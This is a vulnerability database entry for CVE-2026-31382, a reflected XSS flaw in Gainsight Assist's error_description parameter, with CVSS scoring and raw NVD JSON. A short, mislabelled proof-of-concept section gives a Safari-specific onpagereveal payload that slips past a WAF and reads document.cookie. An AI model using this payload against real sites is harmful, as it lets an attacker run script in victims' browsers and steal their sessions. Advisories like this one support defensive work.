Security Vulnerability Report
中文
CVE-2026-31382 CVSS 6.1 MEDIUM

CVE-2026-31382

Published: 2026-03-20 14:16:15
Last Modified: 2026-04-16 15:02:39

Description

The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:gainsight:assist:-:*:*:*:*:*:*:* - VULNERABLE
Gainsight Assist < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-31382 --> <!-- Targeting Safari browser with onpagereveal event --> <!-- Vulnerable Parameter: error_description --> <!-- Example URL --> <!-- https://target-domain.com/error?error_description=<body onpagereveal=alert(document.cookie)> --> <script> // Simulating the attack vector // The payload injects a body tag with the onpagereveal event handler var payload = '<body onpagereveal=alert("XSS")>'; console.log("Payload:", payload); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31382", "sourceIdentifier": "[email protected]", "published": "2026-03-20T14:16:14.727", "lastModified": "2026-04-16T15:02:38.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload."}, {"lang": "es", "value": "El parámetro error_description es vulnerable a XSS Reflejado. Un atacante puede eludir el WAF del dominio utilizando un payload onpagereveal específico de Safari."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gainsight:assist:-:*:*:*:*:*:*:*", "matchCriteriaId": "CEF026DD-1AD7-44D0-8960-A5DDAE4F1BDE"}]}]}], "references": [{"url": "https://communities.gainsight.com/community-news-2/recent-gainsight-assist-plugin-remediations-cve-2026-31381-and-cve-2026-31382-30587", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}